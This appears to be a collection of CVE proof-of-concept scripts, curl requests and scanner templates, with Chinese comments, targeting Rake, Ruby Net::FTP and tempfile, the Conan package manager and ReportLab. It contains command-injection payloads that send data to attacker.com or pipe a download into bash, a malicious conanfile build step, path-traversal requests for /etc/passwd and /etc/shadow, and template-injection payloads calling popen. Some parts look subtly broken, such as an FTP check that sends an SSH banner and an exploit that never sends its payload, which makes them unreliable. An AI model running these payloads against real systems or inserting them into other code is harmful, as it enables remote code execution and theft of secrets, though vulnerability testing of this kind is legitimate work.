    - https://github.com/advisories/GHSA-w64h-v2f8-5rh5

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/py/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "py-"
        part: body
      - type: word
        words:
          - "1.11.0"
        part: body

# 恶意 Rakefile
file "test; curl http://attacker.com/$(whoami)" do
  touch "test"
end

task :default => "test; curl http://attacker.com/$(whoami)"

# 当 rake 执行时，$(whoami) 会被 shell 展开

curl -X POST "http://target-ruby-app:3000/api/rake" \
  -H "Content-Type: application/json" \
  -d '{"task": "test; curl http://attacker.com/$(whoami)"}' \
  -v

#!/usr/bin/env python3
"""CVE-2020-8130 Rake OS 命令注入 PoC"""
import subprocess
import os
import tempfile
import sys

def create_malicious_rakefile(command="id"):
    malicious_content = f'''
require 'rake'

file "test; $({command})" do
  touch "test"
end

task :default => "test; $({command})"
'''
    rakefile_path = os.path.join(tempfile.gettempdir(), "Rakefile")
    with open(rakefile_path, "w") as f:
        f.write(malicious_content)
    print(f"[+] 恶意 Rakefile 已创建: {rakefile_path}")
    return rakefile_path

def test_rake_version():
    print("[*] 检查 Rake 版本...")
    try:
        result = subprocess.run(
            ["rake", "--version"],
            capture_output=True, text=True, timeout=10
        )
        print(f"  Rake: {result.stdout.strip()}")
        parts = result.stdout.strip().split()
        if len(parts) >= 2:
            ver = parts[-1]
            major, minor, patch = ver.split(".")[:3]
            if int(major) < 12 or (int(major) == 12 and int(minor) < 3) or \
               (int(major) == 12 and int(minor) == 3 and int(patch) < 3):
                print("  [VULN] 受 CVE-2020-8130 影响!")
                return True
            print("  [SAFE] 已修复")
            return False
    except FileNotFoundError:
        print("  [INFO] Rake 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def test_remote_rake(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    payloads = [
        {"task": "test; id"},
        {"task": "default; curl http://example.com/$(whoami)"},
        {"rakefile": "task :default do\n  system('id')\nend"},
    ]
    for payload in payloads:
        try:
            import requests, urllib3
            urllib3.disable_warnings()
            r = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=15,
            )
            body = r.text
            if "uid=" in body or "gid=" in body:
                print(f"  [VULN] RCE 确认! Response: {body[:200]}")
                return True
            elif r.status_code == 200:
                print(f"  [INFO] 响应: {body[:150]}")
        except Exception as e:
            print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_rake_version()
    if len(sys.argv) > 1:
        test_remote_rake(sys.argv[1])

id: rubygems-rake-os-command-injection-cve-2020-8130
info:
  name: Rake OS 命令注入 (CVE-2020-8130)
  severity: critical
  tags: rubygems,rake,command-injection,cve-2020-8130
  reference:
    - https://github.com/advisories/GHSA-g3jv-x4mp-wq9r

http:
  - method: GET
    path:
      - "{{BaseURL}}/Gemfile.lock"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "rake"
        part: body
      - type: regex
        regex:
          - 'rake[\\s-]+(0\\.|1[01]\\.|12\\.[0-2]\\.|12\\.3\\.[0-2])'
        part: body

require 'net/ftp'

# 恶意 FTP 服务器可以发送包含换行符的响应
# 导致后续命令被注入执行
ftp = Net::FTP.new
ftp.connect("malicious-ftp-server")
ftp.login("user", "pass")
# 服务器响应中注入恶意命令

curl -X POST "http://target-app:3000/api/ftp-connect" \
  -H "Content-Type: application/json" \
  -d '{"host": "malicious-ftp.example.com", "user": "test", "pass": "test"}' \
  -v

#!/usr/bin/env python3
"""CVE-2022-32224 Ruby Net::FTP RCE 检测"""
import socket
import struct
import sys
import threading

def check_ruby_ftp_client(target_url=None):
    print("[*] 检查 Ruby Net::FTP 版本...")
    try:
        import subprocess
        result = subprocess.run(
            ["ruby", "-e", "require 'net/ftp'; puts Net::FTP::VERSION || Gem.loaded_specs['net-ftp']&.version"],
            capture_output=True, text=True, timeout=10
        )
        if result.stdout.strip():
            print(f"  Net::FTP: {result.stdout.strip()}")
    except FileNotFoundError:
        print("  [INFO] Ruby 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")

def create_malicious_ftp_response():
    """创建恶意 FTP 服务器响应数据"""
    responses = []
    cmd_injection = b"220 Welcome\r\n" + b"A" * 10000 + b"\r\n"
    responses.append(("长响应溢出", cmd_injection))
    newline_injection = b"220 Welcome\r\nUSER admin\r\nPASS pass\r\n"
    newline_injection += b"230 OK\r\nCWD /\r\n"
    responses.append(("换行符注入", newline_injection))
    format_string = b"220 %s%s%s%s%s%s%s%s\r\n"
    responses.append(("格式字符串", format_string))
    return responses

def test_ftp_exploit(target_host, target_port=21):
    print(f"\n[*] 测试 FTP 目标: {target_host}:{target_port}")
    payloads = create_malicious_ftp_response()
    for name, payload in payloads:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((target_host, target_port))
            banner = sock.recv(1024)
            print(f"  Banner: {banner[:100]}")
            sock.close()
            print(f"  [INFO] Payload '{name}' 已准备 ({len(payload)} bytes)")
        except Exception as e:
            print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    check_ruby_ftp_client()
    if len(sys.argv) > 1:
        host = sys.argv[1]
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 21
        test_ftp_exploit(host, port)

id: rubygems-net-ftp-rce-cve-2022-32224
info:
  name: Ruby Net::FTP RCE (CVE-2022-32224)
  severity: high
  tags: rubygems,net-ftp,rce,cve-2022-32224
  reference:
    - https://github.com/advisories/GHSA-2x7x-rpmg-h422

network:
  - inputs:
      - data: "SSH-2.0-Ruby\r\n"
    host:
      - "{{Hostname}}"
    port: 21
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "220"
          - "FTP"
        condition: or

require 'tempfile'

# 恶意前缀包含路径遍历
malicious = Tempfile.new(["../../../etc/", "config"])
# 文件可能被创建到 /etc/configXXXXXX

curl -X POST "http://target-app:3000/api/upload" \
  -H "Content-Type: application/json" \
  -d '{"prefix": "../../../etc/cron.d/", "suffix": ".evil"}' \
  -v

#!/usr/bin/env python3
"""CVE-2024-27281 Ruby tempfile 路径遍历检测"""
import subprocess
import os
import sys
import tempfile

def check_ruby_version():
    print("[*] 检查 Ruby 版本...")
    try:
        result = subprocess.run(
            ["ruby", "--version"],
            capture_output=True, text=True, timeout=10
        )
        ver = result.stdout.strip()
        print(f"  Ruby: {ver}")
        if "Ruby" in ver:
            version_str = ver.split()[1]
            parts = version_str.split(".")
            major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
            if major == 3:
                vulnerable = (
                    (minor == 0 and patch < 6) or
                    (minor == 1 and patch < 6) or
                    (minor == 2 and patch < 6) or
                    (minor == 3 and patch < 1)
                )
                if vulnerable:
                    print("  [VULN] 受 CVE-2024-27281 影响!")
                    return True
            print("  [SAFE] 已修复或不受影响")
        return False
    except FileNotFoundError:
        print("  [INFO] Ruby 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def demonstrate_path_traversal():
    print("\n[*] 演示 tempfile 路径遍历原理...")
    malicious_prefixes = [
        "../../../tmp/traversed_",
        "..%2f..%2f..%2ftmp%2f",
        "....//....//....//tmp//",
    ]
    for prefix in malicious_prefixes:
        print(f"  [INFO] 恶意 prefix: {prefix}")
        print(f"  [INFO] 可导致文件写入: {prefix}XXXXXX")
    return True

def test_remote(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests, urllib3
        urllib3.disable_warnings()
        payloads = [
            {"prefix": "../../../tmp/", "suffix": ".test"},
            {"prefix": "/etc/cron.d/", "suffix": ".evil"},
        ]
        for payload in payloads:
            r = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=10,
            )
            print(f"  Payload: {payload} | Status: {r.status_code}")
    except Exception as e:
        print(f"  [ERR] {e}")

if __name__ == "__main__":
    check_ruby_version()
    demonstrate_path_traversal()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])

id: rubygems-tempfile-path-traversal-cve-2024-27281
info:
  name: Ruby tempfile 路径遍历 (CVE-2024-27281)
  severity: high
  tags: rubygems,ruby,tempfile,path-traversal,cve-2024-27281
  reference:
    - https://github.com/advisories/GHSA-7wvp-h4gj-72g3

http:
  - method: GET
    path:
      - "{{BaseURL}}/Gemfile.lock"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ruby"
          - "tempfile"
        condition: or
        part: body

# 恶意 conanfile.py
from conans import ConanFile
import os

class MaliciousConan(ConanFile):
    name = "legit-package"
    version = "1.0.0"

    def build(self):
        # 在构建阶段执行任意命令
        os.system("curl http://attacker.com/$(whoami) | bash")

    def package_info(self):
        # 正常的包信息，隐藏恶意行为
        self.cpp_info.libs = ["legit"]

curl -X POST "http://conan-server:9300/v1/conans" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious-pkg",
    "version": "1.0.0",
    "user": "attacker",
    "channel": "stable",
    "conanfile": "import os; os.system(\"id\")"
  }' -v

#!/usr/bin/env python3
"""CVE-2021-32740 Conan 远程代码执行 PoC"""
import requests
import json
import sys
import os
import subprocess

urllib3 = __import__("urllib3")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_malicious_conanfile(command="id"):
    conanfile = f'''
from conans import ConanFile
import os

class MaliciousConan(ConanFile):
    name = "malicious-pkg"
    version = "1.0.0"

    def build(self):
        os.system("{command}")

    def package_info(self):
        self.cpp_info.libs = ["legit"]
'''
    with open("conanfile.py", "w") as f:
        f.write(conanfile)
    print(f"[+] 恶意 conanfile.py 已创建")

def test_conan_server(target_url):
    print(f"[*] 测试 Conan 服务器: {target_url}")
    endpoints = [
        "/v1/ping",
        "/v2/ping",
        "/v1/conans",
        "/v2/conans",
    ]
    for endpoint in endpoints:
        try:
            r = requests.get(
                f"{target_url.rstrip('/')}{endpoint}",
                verify=False, timeout=10,
            )
            print(f"  {endpoint}: Status {r.status_code}")
            if r.status_code == 200:
                print(f"  [INFO] 响应: {r.text[:200]}")
        except Exception as e:
            print(f"  {endpoint}: ERR - {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        test_conan_server(sys.argv[1])
    else:
        print(f"用法: {sys.argv[0]} <conan_server_url>")
        print("示例: python3 poc.py http://conan-server:9300")

id: conan-rce-cve-2021-32740
info:
  name: Conan 远程代码执行 (CVE-2021-32740)
  severity: critical
  tags: conan,cpp,rce,cve-2021-32740
  reference:
    - https://github.com/advisories/GHSA-pc7p-8pmc-mvcc

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/ping"
      - "{{BaseURL}}/v2/ping"
    matchers:
      - type: word
        words:
          - "ok"
          - "OK"
        condition: or

import requests

# 恶意包请求 — 路径遍历读取服务器文件
malicious_url = "http://conan-server:9300/v1/conans/../../etc/passwd/download"
r = requests.get(malicious_url, verify=False)
if r.status_code == 200 and "root:" in r.text:
    print("[VULN] 路径遍历确认! 可读取 /etc/passwd")

curl -v "http://conan-server:9300/v1/conans/../../etc/passwd/download" \
  -H "X-Conan-Token: <token>"

#!/usr/bin/env python3
"""CVE-2023-22740 Conan 路径遍历 PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_path_traversal(target_url):
    traversal_payloads = [
        "/v1/conans/../../../../etc/passwd/download",
        "/v1/conans/..%2f..%2f..%2f..%2fetc/passwd/download",
        "/v2/conans/../../etc/shadow/download",
        "/v1/conans/....//....//....//....//etc/passwd/download",
    ]
    sensitive_files = ["passwd", "shadow", "ssh_host_rsa_key"]
    results = []
    for payload in traversal_payloads:
        full_url = f"{target_url.rstrip('/')}{payload}"
        print(f"[*] Testing: {full_url}")
        try:
            r = requests.get(full_url, verify=False, timeout=10)
            print(f"  Status: {r.status_code} | Length: {len(r.text)}")
            if r.status_code == 200 and ("root:" in r.text or "bin:" in r.text):
                print(f"  [VULN] 路径遍历成功! 响应内容泄露敏感文件")
                results.append({"payload": payload, "result": "vulnerable"})
            else:
                results.append({"payload": payload, "result": "safe"})
        except Exception as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "result": "error"})
    return any(r["result"] == "vulnerable" for r in results)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <conan_server_url>")
        sys.exit(1)
    test_path_traversal(sys.argv[1])

id: conan-path-traversal-cve-2023-22740
info:
  name: Conan 远程路径遍历 (CVE-2023-22740)
  severity: high
  tags: conan,path-traversal,cve-2023-22740
  reference:
    - https://github.com/advisories/GHSA-3gqh-7xhv-fq94

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/conans/../../etc/passwd/download"
      - "{{BaseURL}}/v2/conans/../../etc/passwd/download"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "bin:"
        condition: or
      - type: status
        status:
          - 200

from reportlab.lib.pagesizes import A4
from reportlab.platypus import SimpleDocTemplate, Paragraph

# 恶意模板输入
malicious_input = """
<para>
{{().__class__.__bases__[0].__subclasses__() 
  [137].__init__.__globals__['popen']('id').read()}}
</para>
"""

# 当 Platypus 渲染此模板时触发代码注入
doc = SimpleDocTemplate("output.pdf", pagesize=A4)
doc.build([Paragraph(malicious_input, None)])

curl -X POST "http://target-app:3000/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "{{().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[\"popen\"](\"id\").read()}}"
  }' \
  -v

#!/usr/bin/env python3
"""CVE-2023-33733 ReportLab 代码注入 PoC"""
import sys

def check_reportlab_version():
    print("[*] 检查 ReportLab 版本...")
    try:
        import reportlab
        ver = reportlab.Version
        print(f"  ReportLab: {ver}")
        parts = ver.split(".")
        major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
        if major < 3 or (major == 3 and minor < 6) or \
           (major == 3 and minor == 6 and patch < 13):
            print("  [VULN] 受 CVE-2023-33733 影响!")
            return True
        print("  [SAFE] 已修复")
        return False
    except ImportError:
        print("  [INFO] ReportLab 未安装")
    return False

def demonstrate_code_injection():
    print("\n[*] 演示 ReportLab 代码注入原理...")
    payloads = [
        "{{().__class__.__bases__[0].__subclasses__()}}",
        "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
        "{{''.__class__.__mro__[1].__subclasses__()}}",
    ]
    for i, payload in enumerate(payloads):
        print(f"  Payload #{i+1}: {payload[:80]}...")
    print("  [INFO] 以上 payload 需要通过 ReportLab 模板渲染触发")

def test_remote(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests, urllib3
        urllib3.disable_warnings()
        payload = "{{().__class__.__bases__[0].__subclasses__()}}"
        r = requests.post(
            f"{target_url.rstrip('/')}/api/generate-pdf",
            json={"template": payload, "content": "test"},
            headers={"Content-Type": "application/json"},
            verify=False, timeout=15,
        )
        print(f"  Status: {r.status_code}")
        if r.status_code == 200:
            print(f"  [INFO] 响应: {r.text[:300]}")
    except Exception as e:
        print(f"  [ERR] {e}")

if __name__ == "__main__":
    check_reportlab_version()
    demonstrate_code_injection()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])